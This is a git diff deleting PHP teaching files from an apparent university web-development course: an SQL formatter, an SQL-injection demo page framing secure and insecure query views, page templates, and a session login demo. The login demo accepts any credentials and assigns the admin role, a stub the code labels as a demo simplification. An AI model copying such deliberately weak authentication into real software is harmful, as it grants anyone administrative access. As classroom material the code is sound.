-            elseif ($clause_limit && $token[self::TOKEN_VALUE] !== "," && $token[self::TOKEN_TYPE] !== self::TOKEN_TYPE_NUMBER && $token[self::TOKEN_TYPE] !== self::TOKEN_TYPE_WHITESPACE) {
-                $clause_limit = false;
-            }
-
-            // Commas start a new line (unless within inline parentheses or SQL 'LIMIT' clause)
-            elseif ($token[self::TOKEN_VALUE] === ',' && !$inline_parentheses) {
-                //If the previous TOKEN_VALUE is 'LIMIT', resets new line
-                if ($clause_limit === true) {
-                    $newline = false;
-                    $clause_limit = false;
-                }
-                // All other cases of commas
-                else {
-                    $newline = true;
-                }
-            }
-
-            // Newline reserved words start a new line
-            elseif ($token[self::TOKEN_TYPE] === self::TOKEN_TYPE_RESERVED_NEWLINE) {
-                // Add a newline before the reserved word (if not already added)
-                if (!$added_newline) {
-                    $return .= "\n" . str_repeat($tab, $indent_level);
-                }
-
-                // If the token may have extra whitespace
-                if (strpos($token[self::TOKEN_VALUE],' ')!==false || strpos($token[self::TOKEN_VALUE],"\n")!==false || strpos($token[self::TOKEN_VALUE],"\t")!==false) {
-                    $highlighted = preg_replace('/\s+/',' ',$highlighted);
-                }
-            }
-
-            // Multiple boundary characters in a row should not have spaces between them (not including parentheses)
-            elseif ($token[self::TOKEN_TYPE] === self::TOKEN_TYPE_BOUNDARY) {
-                if (isset($tokens[$i-1]) && $tokens[$i-1][self::TOKEN_TYPE] === self::TOKEN_TYPE_BOUNDARY) {
-                    if (isset($original_tokens[$token['i']-1]) && $original_tokens[$token['i']-1][self::TOKEN_TYPE] !== self::TOKEN_TYPE_WHITESPACE) {
-                        $return = rtrim($return,' ');
-                    }
-                }
-            }
-
-            // If the token shouldn't have a space before it
-            if ($token[self::TOKEN_VALUE] === '.' || $token[self::TOKEN_VALUE] === ',' || $token[self::TOKEN_VALUE] === ';') {
-                $return = rtrim($return, ' ');
-            }
-
-            $return .= $highlighted.' ';
-
-            // If the token shouldn't have a space after it
-            if ($token[self::TOKEN_VALUE] === '(' || $token[self::TOKEN_VALUE] === '.') {
-                $return = rtrim($return,' ');
-            }
-            
-            // If this is the "-" of a negative number, it shouldn't have a space after it
-            if($token[self::TOKEN_VALUE] === '-' && isset($tokens[$i+1]) && $tokens[$i+1][self::TOKEN_TYPE] === self::TOKEN_TYPE_NUMBER && isset($tokens[$i-1])) {
-                $prev = $tokens[$i-1][self::TOKEN_TYPE];
-                if($prev !== self::TOKEN_TYPE_QUOTE && $prev !== self::TOKEN_TYPE_BACKTICK_QUOTE && $prev !== self::TOKEN_TYPE_WORD && $prev !== self::TOKEN_TYPE_NUMBER) {
-                    $return = rtrim($return,' ');
-                }
-            } 
-        }
-
-        // If there are unmatched parentheses
-        if ($highlight && array_search('block',$indent_types) !== false) {
-            $return .= "\n".self::highlightError("WARNING: unclosed parentheses or section");
-        }
-
-        // Replace tab characters with the configuration tab character
-        $return = trim(str_replace("\t",self::$tab,$return));
-
-        if ($highlight) {
-            $return = self::output($return);
-        }
-
-        return $return;
-    }
-
-    /**
-     * Add syntax highlighting to a SQL string
-     *
-     * @param String $string The SQL string
-     *
-     * @return String The SQL string with HTML styles applied
-     */
-    public static function highlight($string)
-    {
-        $tokens = self::tokenize($string);
-
-        $return = '';
-
-        foreach ($tokens as $token) {
-            $return .= self::highlightToken($token);
-        }
-
-        return self::output($return);
-    }
-
-    /**
-     * Split a SQL string into multiple queries.
-     * Uses ";" as a query delimiter.
-     *
-     * @param String $string The SQL string
-     *
-     * @return Array An array of individual query strings without trailing semicolons
-     */
-    public static function splitQuery($string)
-    {
-        $queries = array();
-        $current_query = '';
-        $empty = true;
-
-        $tokens = self::tokenize($string);
-
-        foreach ($tokens as $token) {
-            // If this is a query separator
-            if ($token[self::TOKEN_VALUE] === ';') {
-                if (!$empty) {
-                    $queries[] = $current_query.';';
-                }
-                $current_query = '';
-                $empty = true;
-                continue;
-            }
-
-            // If this is a non-empty character
-            if ($token[self::TOKEN_TYPE] !== self::TOKEN_TYPE_WHITESPACE && $token[self::TOKEN_TYPE] !== self::TOKEN_TYPE_COMMENT && $token[self::TOKEN_TYPE] !== self::TOKEN_TYPE_BLOCK_COMMENT) {
-                $empty = false;
-            }
-
-            $current_query .= $token[self::TOKEN_VALUE];
-        }
-
-        if (!$empty) {
-            $queries[] = trim($current_query);
-        }
-
-        return $queries;
-    }
-
-    /**
-     * Remove all comments from a SQL string
-     *
-     * @param String $string The SQL string
-     *
-     * @return String The SQL string without comments
-     */
-    public static function removeComments($string)
-    {
-        $result = '';
-
-        $tokens = self::tokenize($string);
-
-        foreach ($tokens as $token) {
-            // Skip comment tokens
-            if ($token[self::TOKEN_TYPE] === self::TOKEN_TYPE_COMMENT || $token[self::TOKEN_TYPE] === self::TOKEN_TYPE_BLOCK_COMMENT) {
-                continue;
-            }
-
-            $result .= $token[self::TOKEN_VALUE];
-        }
-        $result = self::format( $result,false);
-
-        return $result;
-    }
-
-    /**
-     * Compress a query by collapsing white space and removing comments
-     *
-     * @param String $string The SQL string
-     *
-     * @return String The SQL string without comments
-     */
-    public static function compress($string)
-    {
-        $result = '';
-
-        $tokens = self::tokenize($string);
-
-        $whitespace = true;
-        foreach ($tokens as $token) {
-            // Skip comment tokens
-            if ($token[self::TOKEN_TYPE] === self::TOKEN_TYPE_COMMENT || $token[self::TOKEN_TYPE] === self::TOKEN_TYPE_BLOCK_COMMENT) {
-                continue;
-            }
-            // Remove extra whitespace in reserved words (e.g "OUTER     JOIN" becomes "OUTER JOIN")
-            elseif ($token[self::TOKEN_TYPE] === self::TOKEN_TYPE_RESERVED || $token[self::TOKEN_TYPE] === self::TOKEN_TYPE_RESERVED_NEWLINE || $token[self::TOKEN_TYPE] === self::TOKEN_TYPE_RESERVED_TOPLEVEL) {
-                $token[self::TOKEN_VALUE] = preg_replace('/\s+/',' ',$token[self::TOKEN_VALUE]);
-            }
-
-            if ($token[self::TOKEN_TYPE] === self::TOKEN_TYPE_WHITESPACE) {
-                // If the last token was whitespace, don't add another one
-                if ($whitespace) {
-                    continue;
-                } else {
-                    $whitespace = true;
-                    // Convert all whitespace to a single space
-                    $token[self::TOKEN_VALUE] = ' ';
-                }
-            } else {
-                $whitespace = false;
-            }
-
-            $result .= $token[self::TOKEN_VALUE];
-        }
-
-        return rtrim($result);
-    }
-
-    /**
-     * Highlights a token depending on its type.
-     *
-     * @param Array $token An associative array containing type and value.
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightToken($token)
-    {
-        $type = $token[self::TOKEN_TYPE];
-
-        if (self::is_cli()) {
-            $token = $token[self::TOKEN_VALUE];
-        } else {
-            if (defined('ENT_IGNORE')) {
-              $token = htmlentities($token[self::TOKEN_VALUE],ENT_COMPAT | ENT_IGNORE ,'UTF-8');
-            } else {
-              $token = htmlentities($token[self::TOKEN_VALUE],ENT_COMPAT,'UTF-8');
-            }
-        }
-
-        if ($type===self::TOKEN_TYPE_BOUNDARY) {
-            return self::highlightBoundary($token);
-        } elseif ($type===self::TOKEN_TYPE_WORD) {
-            return self::highlightWord($token);
-        } elseif ($type===self::TOKEN_TYPE_BACKTICK_QUOTE) {
-            return self::highlightBacktickQuote($token);
-        } elseif ($type===self::TOKEN_TYPE_QUOTE) {
-            return self::highlightQuote($token);
-        } elseif ($type===self::TOKEN_TYPE_RESERVED) {
-            return self::highlightReservedWord($token);
-        } elseif ($type===self::TOKEN_TYPE_RESERVED_TOPLEVEL) {
-            return self::highlightReservedWord($token);
-        } elseif ($type===self::TOKEN_TYPE_RESERVED_NEWLINE) {
-            return self::highlightReservedWord($token);
-        } elseif ($type===self::TOKEN_TYPE_NUMBER) {
-            return self::highlightNumber($token);
-        } elseif ($type===self::TOKEN_TYPE_VARIABLE) {
-            return self::highlightVariable($token);
-        } elseif ($type===self::TOKEN_TYPE_COMMENT || $type===self::TOKEN_TYPE_BLOCK_COMMENT) {
-            return self::highlightComment($token);
-        }
-
-        return $token;
-    }
-
-    /**
-     * Highlights a quoted string
-     *
-     * @param String $value The token's value
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightQuote($value)
-    {
-        if (self::is_cli()) {
-            return self::$cli_quote . $value . "\x1b[0m";
-        } else {
-            return '<span ' . self::$quote_attributes . '>' . $value . '</span>';
-        }
-    }
-
-    /**
-     * Highlights a backtick quoted string
-     *
-     * @param String $value The token's value
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightBacktickQuote($value)
-    {
-        if (self::is_cli()) {
-            return self::$cli_backtick_quote . $value . "\x1b[0m";
-        } else {
-            return '<span ' . self::$backtick_quote_attributes . '>' . $value . '</span>';
-        }
-    }
-
-    /**
-     * Highlights a reserved word
-     *
-     * @param String $value The token's value
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightReservedWord($value)
-    {
-        if (self::is_cli()) {
-            return self::$cli_reserved . $value . "\x1b[0m";
-        } else {
-            return '<span ' . self::$reserved_attributes . '>' . $value . '</span>';
-        }
-    }
-
-    /**
-     * Highlights a boundary token
-     *
-     * @param String $value The token's value
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightBoundary($value)
-    {
-        if ($value==='(' || $value===')') return $value;
-
-        if (self::is_cli()) {
-            return self::$cli_boundary . $value . "\x1b[0m";
-        } else {
-            return '<span ' . self::$boundary_attributes . '>' . $value . '</span>';
-        }
-    }
-
-    /**
-     * Highlights a number
-     *
-     * @param String $value The token's value
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightNumber($value)
-    {
-        if (self::is_cli()) {
-            return self::$cli_number . $value . "\x1b[0m";
-        } else {
-            return '<span ' . self::$number_attributes . '>' . $value . '</span>';
-        }
-    }
-
-    /**
-     * Highlights an error
-     *
-     * @param String $value The token's value
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightError($value)
-    {
-        if (self::is_cli()) {
-            return self::$cli_error . $value . "\x1b[0m";
-        } else {
-            return '<span ' . self::$error_attributes . '>' . $value . '</span>';
-        }
-    }
-
-    /**
-     * Highlights a comment
-     *
-     * @param String $value The token's value
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightComment($value)
-    {
-        if (self::is_cli()) {
-            return self::$cli_comment . $value . "\x1b[0m";
-        } else {
-            return '<span ' . self::$comment_attributes . '>' . $value . '</span>';
-        }
-    }
-
-    /**
-     * Highlights a word token
-     *
-     * @param String $value The token's value
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightWord($value)
-    {
-        if (self::is_cli()) {
-            return self::$cli_word . $value . "\x1b[0m";
-        } else {
-            return '<span ' . self::$word_attributes . '>' . $value . '</span>';
-        }
-    }
-
-    /**
-     * Highlights a variable token
-     *
-     * @param String $value The token's value
-     *
-     * @return String HTML code of the highlighted token.
-     */
-    protected static function highlightVariable($value)
-    {
-        if (self::is_cli()) {
-            return self::$cli_variable . $value . "\x1b[0m";
-        } else {
-            return '<span ' . self::$variable_attributes . '>' . $value . '</span>';
-        }
-    }
-
-    /**
-     * Helper function for building regular expressions for reserved words and boundary characters
-     *
-     * @param String $a The string to be quoted
-     *
-     * @return String The quoted string
-     */
-    private static function quote_regex($a)
-    {
-        return preg_quote($a,'/');
-    }
-
-    /**
-     * Helper function for building string output
-     *
-     * @param String $string The string to be quoted
-     *
-     * @return String The quoted string
-     */
-    private static function output($string)
-    {
-        if (self::is_cli()) {
-            return $string."\n";
-        } else {
-            $string=trim($string);
-            if (!self::$use_pre) {
-                return $string;
-            }
-
-            return '<pre '.self::$pre_attributes.'>' . $string . '</pre>';
-        }
-    }
-
-    private static function is_cli()
-    {
-        if (isset(self::$cli)) return self::$cli;
-        else return php_sapi_name() === 'cli';
-    }
-
-}
diff --git a/src/Demos/PHP/SQL_Injection_Demo/index.php b/src/Demos/PHP/SQL_Injection_Demo/index.php
deleted file mode 100644
index 93bb74908b0c26e945b91cb5a46ad22db7e7d63c..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/SQL_Injection_Demo/index.php
+++ /dev/null
@@ -1,30 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-	<style>
-	.left {float: left; width:39%; height:100vh;}
-	.flexcontainer {
-		width:60%;	
-		display: flex;
-		flex-wrap:wrap;
-		justify-content: flex-start;
-	}
-	.flexitem {width:98%;}
-	
-	.flexitembig {height:63vh;}
-	.flexitemsmall {height:35vh;}
-	
-	</style>
-    <meta charset="UTF-8"/>
-
-    <title>SQL-Injection-Demo</title>
-</head>
-<body>
-<iframe class="left" src="SQL_Injection_Login.php" title="SQL-Injection"></iframe>
-<div class=flexcontainer>
-	<!--<iframe class="flexitem" src="SQL_Injection_pdf_Wrapper.html" title="PDF"></iframe>-->
-	<iframe class="flexitem flexitemsmall" src="SQL_Injection_Query.php?Safe=1" title="MySQLi Secure"></iframe>
-	<iframe class="flexitem flexitembig" src="SQL_Injection_Query.php" title="MySQLi insecure"></iframe>
-</div>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/PHP/Seitenklassen/EWA_PageTemplates.pdf b/src/Demos/PHP/Seitenklassen/EWA_PageTemplates.pdf
deleted file mode 100644
index 0b9fd016e260773a7c9242b60c5b2ed789dbc6a0..0000000000000000000000000000000000000000
Binary files a/src/Demos/PHP/Seitenklassen/EWA_PageTemplates.pdf and /dev/null differ
diff --git a/src/Demos/PHP/Seitenklassen/PHP_Seitenklassen.zip b/src/Demos/PHP/Seitenklassen/PHP_Seitenklassen.zip
deleted file mode 100644
index f94fd5b53fad4f87534124f24926cdd473ad186a..0000000000000000000000000000000000000000
Binary files a/src/Demos/PHP/Seitenklassen/PHP_Seitenklassen.zip and /dev/null differ
diff --git a/src/Demos/PHP/Seitenklassen/Page.php b/src/Demos/PHP/Seitenklassen/Page.php
deleted file mode 100644
index 91795746cf784228cedde3655e136f0fd14ab69b..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Seitenklassen/Page.php
+++ /dev/null
@@ -1,127 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class Page for the exercises of the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     Page.php
- * @package  Page Templates
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.1
- */
-
-/**
- * This abstract class is a common base class for all
- * HTML-pages to be created.
- * It manages access to the database and provides operations
- * for outputting header and footer of a page.
- * Specific pages have to inherit from that class.
- * Each derived class can use these operations for accessing the database
- * and for creating the generic parts of a HTML-page.
- *
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-abstract class Page
-{
-    // --- ATTRIBUTES ---
-
-    /**
-     * Reference to the MySQLi-Database that can be used
-     * by all operations of the class or inherited classes.
-     */
-    protected MySQLi $_database;
-
-    // --- OPERATIONS ---
-
-    /**
-     * Connects to DB and stores
-     * the connection in member $_database.
-     * Needs name of DB, user, password.
-     */
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-
-        $host = "localhost";
-        /********************************************/
-        // This code switches from the the local installation (XAMPP) to the docker installation 
-        if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-            $host = "mariadb";
-        }
-        /********************************************/
-
-        $this->_database = new MySQLi($host, "public", "public", "YOUR_DATABASE");
-
-        if ($this->_database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->_database->connect_errno);
-        }
-
-        // set charset to UTF8!!
-        if (!$this->_database->set_charset("utf8")) {
-            throw new Exception($this->_database->error);
-        }
-    }
-
-    /**
-     * Closes the DB connection and cleans up
-     */
-    public function __destruct()
-    {
-        // to do: close database
-    }
-
-    /**
-     * Generates the header section of the page.
-     * i.e. starting from the content type up to the body-tag.
-     * Takes care that all strings passed from outside
-     * are converted to safe HTML by htmlspecialchars.
-     *
-     * @param string $title $title is the text to be used as title of the page
-     * @param string $jsFile path to a java script file to be included, default is "" i.e. no java script file
-     * @param bool $autoreload  true: auto reload the page every 5 s, false: not auto reload
-     * @return void
-     */
-    protected function generatePageHeader(string $title = "", string $jsFile = "", bool $autoreload = false):void
-    {
-        $title = htmlspecialchars($title);
-        header("Content-type: text/html; charset=UTF-8");
-
-        // to do: handle all parameters
-        // to do: output common beginning of HTML code
-    }
-
-    /**
-     * Outputs the end of the HTML-file i.e. </body> etc.
-	 * @return void
-     */
-    protected function generatePageFooter():void
-    {
-        // to do: output common end of HTML code
-    }
-
-    /**
-     * Processes the data that comes in via GET or POST.
-     * If every derived page is supposed to do something common
-	 * with submitted data do it here. 
-	 * E.g. checking the settings of PHP that
-     * influence passing the parameters (e.g. magic_quotes).
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-
-    }
-} // end of class
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Demos/PHP/Seitenklassen/PageTemplate.php b/src/Demos/PHP/Seitenklassen/PageTemplate.php
deleted file mode 100644
index ba683ca02773bcdb932b885999ae2d543947dfbb..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Seitenklassen/PageTemplate.php
+++ /dev/null
@@ -1,133 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class PageTemplate for the exercises of the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     PageTemplate.php
- * @package  Page Templates
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.1
- */
-
-// to do: change name 'PageTemplate' throughout this file
-require_once './Page.php';
-
-/**
- * This is a template for top level classes, which represent
- * a complete web page and which are called directly by the user.
- * Usually there will only be a single instance of such a class.
- * The name of the template is supposed
- * to be replaced by the name of the specific HTML page e.g. baker.
- * The order of methods might correspond to the order of thinking
- * during implementation.
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-class PageTemplate extends Page
-{
-    // to do: declare reference variables for members 
-    // representing substructures/blocks
-
-    /**
-     * Instantiates members (to be defined above).
-     * Calls the constructor of the parent i.e. page class.
-     * So, the database connection is established.
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-        // to do: instantiate members representing substructures/blocks
-    }
-
-    /**
-     * Cleans up whatever is needed.
-     * Calls the destructor of the parent i.e. page class.
-     * So, the database connection is closed.
-     */
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-     * Fetch all data that is necessary for later output.
-     * Data is returned in an array e.g. as associative array.
-	 * @return array An array containing the requested data. 
-	 * This may be a normal array, an empty array or an associative array.
-     */
-    protected function getViewData():array
-    {
-        // to do: fetch data for this view from the database
-		// to do: return array containing data
-    }
-
-    /**
-     * First the required data is fetched and then the HTML is
-     * assembled for output. i.e. the header is generated, the content
-     * of the page ("view") is inserted and -if available- the content of
-     * all views contained is generated.
-     * Finally, the footer is added.
-	 * @return void
-     */
-    protected function generateView():void
-    {
-        $data = $this->getViewData(); //NOSONAR ignore unused $data
-        $this->generatePageHeader('to do: change headline'); //to do: set optional parameters
-        // to do: output view of this page
-        $this->generatePageFooter();
-    }
-
-    /**
-     * Processes the data that comes via GET or POST.
-     * If this page is supposed to do something with submitted
-     * data do it here.
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-        // to do: call processReceivedData() for all members
-    }
-
-    /**
-     * This main-function has the only purpose to create an instance
-     * of the class and to get all the things going.
-     * I.e. the operations of the class are called to produce
-     * the output of the HTML-file.
-     * The name "main" is no keyword for php. It is just used to
-     * indicate that function as the central starting point.
-     * To make it simpler this is a static function. That is you can simply
-     * call it without first creating an instance of the class.
-	 * @return void
-     */
-    public static function main():void
-    {
-        try {
-            $page = new PageTemplate();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-PageTemplate::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Demos/PHP/Session_Demo/Admin.php b/src/Demos/PHP/Session_Demo/Admin.php
deleted file mode 100644
index 4442b3433888c7379aebfcd825c4ae4165be67a1..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Session_Demo/Admin.php
+++ /dev/null
@@ -1,147 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class Admin for the demo of sessions in the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     Admin.php
- * @author   Ute Trapp, <ute.trapp@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.0
- */
-
-require_once './Page.php';
-
-/**
- * This page should be called with a session and role admin.
- * It shows a list of options for admins and access denied else.
- * @author   Ute Trapp, <ute.trapp@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-class Admin extends Page
-{
-    protected bool $accessAllowed = false;
-
-    /**
-     * Instantiates members (to be defined above).
-     * Calls the constructor of the parent i.e. page class.
-     * So, the database connection is established.
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-
-    }
-
-    /**
-     * Cleans up whatever is needed.
-     * Calls the destructor of the parent i.e. page class.
-     * So, the database connection is closed.
-     */
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-     * Fetch all data that is necessary for later output.
-     * Data is returned in an array e.g. as associative array.
-     * @return array An array containing the requested data.
-     * This may be a normal array, an empty array or an associative array.
-     */
-    protected function getViewData(): array
-    {
-        return array();
-    }
-
-    /**
-     * First the required data is fetched and then the HTML is
-     * assembled for output. i.e. the header is generated, the content
-     * of the page ("view") is inserted and -if available- the content of
-     * all views contained is generated.
-     * Finally, the footer is added.
-     * @return void
-     */
-    protected function generateView(): void
-    {
-        $data = $this->getViewData(); // NOSONAR ignore unused $data
-        $this->generatePageHeader('Admin', "", true);
-        $this->printSessionDebugInfo();
-        if ($this->accessAllowed) {
-            echo <<<HERE
-                <main>
-                <h1>Admin</h1>
-                <ul><li>organize users</li></ul>
-                <form action="Admin.php" method="post" accept-charset="UTF-8">
-                    <input type="submit" value="logout" name="logout"/>
-                </form>
-                </main>
-            HERE;
-        } else {
-            echo "<p> access denied </p>";
-        }
-        $this->generatePageFooter();
-    }
-
-    /**
-     * Processes the data that comes via GET or POST.
-     * If this page is supposed to do something with submitted
-     * data do it here.
-     * @return void
-     */
-    protected function processReceivedData(): void
-    {
-        parent::processReceivedData();
-        session_start(); //if there is no session, a session will be started
-        if (isset($_POST["logout"])) {
-            session_destroy();
-            // PRG - Pattern - redirect to login
-            header("HTTP/1.1 303 See Other");
-            header("Location: Login.php");
-            die();
-        }
-        if (isset($_SESSION[self::SESSION_ROLE_KEY]) && $_SESSION[self::SESSION_ROLE_KEY] === self::ROLE_ADMIN){
-            $this->accessAllowed = true;
-        }
-    }
-
-    /**
-     * This main-function has the only purpose to create an instance
-     * of the class and to get all the things going.
-     * I.e. the operations of the class are called to produce
-     * the output of the HTML-file.
-     * The name "main" is no keyword for php. It is just used to
-     * indicate that function as the central starting point.
-     * To make it simpler this is a static function. That is you can simply
-     * call it without first creating an instance of the class.
-     * @return void
-     */
-    public static function main(): void
-    {
-        try {
-            $page = new Admin();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-Admin::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Demos/PHP/Session_Demo/Login.php b/src/Demos/PHP/Session_Demo/Login.php
deleted file mode 100644
index 2ec721d275e94747cbe0232ede1a943e246d7786..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/Session_Demo/Login.php
+++ /dev/null
@@ -1,179 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class Login for the demo of sessions in the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     PageTemplate.php
- * @author   Ute Trapp, <ute.trapp@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.0
- */
-
-// to do: change name 'PageTemplate' throughout this file
-require_once './Page.php';
-
-/**
- * This is a simple login page -- no database access included
- * @author   Ute Trapp, <ute.trapp@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-class Login extends Page
-{
-    const INPUT_FIELD_USER = 'username';
-    const INPUT_FIELD_PASSWORD = 'password';
-    private bool $providedWrongCredentials = false;
-
-    /**
-     * Instantiates members (to be defined above).
-     * Calls the constructor of the parent i.e. page class.
-     * So, the database connection is established.
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-        // to do: instantiate members representing substructures/blocks
-    }
-
-    /**
-     * Cleans up whatever is needed.
-     * Calls the destructor of the parent i.e. page class.
-     * So, the database connection is closed.
-     */
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-     * Fetch all data that is necessary for later output.
-     * Data is returned in an array e.g. as associative array.
-     * @return array An array containing the requested data.
-     * This may be a normal array, an empty array or an associative array.
-     */
-    protected function getViewData(): array
-    {
-        return array();
-    }
-
-    /**
-     * First the required data is fetched and then the HTML is
-     * assembled for output. i.e. the header is generated, the content
-     * of the page ("view") is inserted and -if available- the content of
-     * all views contained is generated.
-     * Finally, the footer is added.
-     * @return void
-     */
-    protected function generateView(): void
-    {
-        $data = $this->getViewData(); // NOSONAR ignore unused $data
-        $this->generatePageHeader('Login - Demo Session');
-        $this->printSessionDebugInfo();
-        echo <<<HERE
-            <main class="login-page">
-            <h1>Login</h1>
-        HERE;
-        $this->generateLoginForm();
-        echo "</main>";
-        $this->generatePageFooter();
-    }
-
-    private function generateLoginForm(): void
-    {
-        $msg = "";
-        if ($this->providedWrongCredentials) {
-            $msg = "<p>wrong credentials!</p>";
-        }
-        $userField = self::INPUT_FIELD_USER;
-        $pwdField = self::INPUT_FIELD_PASSWORD;
-        //accessiblity and input elements @see https://webaim.org/techniques/forms/advanced
-        echo <<<HERE
-		$msg
-		<form action="Login.php" method="post" class="login-form">
-          <input type="text" value="" placeholder="username" name="{$userField}" aria-label="Username" />
-          <input type="password" value="" placeholder="password" name="{$pwdField}" aria-label="Password" />
-          <input type="submit" value="login" />
-        </form>
-HERE;
-    }
-
-    /**
-     * Processes the data that comes via GET or POST.
-     * If this page is supposed to do something with submitted
-     * data do it here.
-     * @return void
-     */
-    protected function processReceivedData(): void
-    {
-        parent::processReceivedData();
-        if (isset($_POST[self::INPUT_FIELD_USER]) && isset($_POST[self::INPUT_FIELD_PASSWORD])) {
-            $user = $_POST[self::INPUT_FIELD_USER];
-            $pwd = $_POST[self::INPUT_FIELD_PASSWORD];
-            if ($this->validateCredentials($user, $pwd)) {
-                $role = $this->getRole($user);
-                if ($role === self::ROLE_ADMIN) {
-                    session_start();
-                    $_SESSION[self::SESSION_ROLE_KEY] = self::ROLE_ADMIN;
-                    //PRG-Pattern
-                    header("HTTP/1.1 303 See Other");
-                    header("Location: Admin.php");
-                    die();
-                }
-            } else {
-                $this->providedWrongCredentials = true;
-            }
-        }
-    }
-
-    private function validateCredentials(string $user, string $pwd): bool //NOSONAR ignore unused parameters
-    {
-        //@todo execute sql query to validate credentials -- simplified for demo //NOSONAR ignore todo
-        return true;
-    }
-
-    private function getRole(string $user): string //NOSONAR ignore unused parameter
-    {
-        //@todo execute sql query to fetch associated role -- simplified for demo //NOSONAR ignore todo
-        return self::ROLE_ADMIN;
-    }
-
-    /**
-     * This main-function has the only purpose to create an instance
-     * of the class and to get all the things going.
-     * I.e. the operations of the class are called to produce
-     * the output of the HTML-file.
-     * The name "main" is no keyword for php. It is just used to
-     * indicate that function as the central starting point.
-     * To make it simpler this is a static function. That is you can simply
-     * call it without first creating an instance of the class.
-     * @return void
-     */
-    public static function main(): void
-    {
-        try {
-            $page = new Login();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-Login::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
